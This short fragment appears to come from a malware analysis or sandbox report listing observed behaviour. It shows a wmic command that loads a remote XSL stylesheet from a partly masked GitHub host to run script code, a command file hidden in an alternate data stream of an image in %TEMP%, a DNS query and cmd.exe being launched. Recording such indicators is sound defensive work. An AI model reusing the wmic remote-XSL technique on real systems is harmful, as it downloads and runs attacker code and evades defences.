Technical Information
- '<SYSTEM32>\wbem\wmic.exe' os get 22366tt22, 86699aa, OSLanguage /format:"http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/v.xsl#025088jedjdf557"
- %TEMP%\0osfqii.jpg:xxzxxvv.cmd
- DNS ASK ra#.####ubusercontent.com
- '<SYSTEM32>\cmd.exe' -